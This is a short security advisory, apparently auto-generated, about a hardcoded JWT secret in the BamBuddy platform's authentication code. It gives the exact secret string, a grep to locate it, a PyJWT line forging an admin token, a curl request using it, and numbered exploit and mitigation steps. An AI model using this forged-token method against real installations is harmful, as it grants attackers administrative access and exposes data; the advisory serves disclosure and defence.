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The vulnerability exists in the authentication system of the BamBuddy platform. A hardcoded JWT (JSON Web Token) secret key is embedded within the backend source code (backend/app/core/auth.py). This static key ("bambuddy-secret-key-change-in-production") is used to sign and verify all JWT tokens for API authentication. Since the secret is publicly available in the source code repository, any attacker can forge a valid JWT token. By using a library like PyJWT, an attacker can create a token with arbitrary claims, such as setting the subject ("sub") to “admin”. The application’s API endpoints, many of which lack proper authorization checks, will accept this forged token when presented in the `Authorization: Bearer` header. This allows unauthorized access to sensitive data and administrative functions, as demonstrated by the PoC script that successfully accesses numerous GET endpoints and the ability to create new API keys via POST requests without legitimate credentials.
Platform: BamBuddy
Version: a9bb8ed8239602bf08
Vulnerability: Hardcoded JWT Secret
Severity: Critical
date: Unknown
Prediction: No patch
What Undercode Say:
Analytics:
git clone https://github.com/maziggy/bambuddy cd bambuddy grep -r "bambuddy-secret-key-change-in-production" .
import jwt
HARDCODED_SECRET = "bambuddy-secret-key-change-in-production"
forged_token = jwt.encode({"sub":"admin"}, HARDCODED_SECRET, algorithm="HS256")
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target:8000/api/v1/auth/me
How Exploit:
1. Extract hardcoded secret from source.
2. Forge JWT token with admin claims.
3. Use token to access API endpoints.
4. Perform unauthorized actions.
Protection from this CVE:
1. Generate unique secret per installation.
2. Store secret in environment variables.
3. Implement proper authorization checks.
4. Rotate compromised secrets immediately.
Impact:
Unauthorized Access
Full System Control
Data Breach
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Sources:
Reported By: github.com
Extra Source Hub:
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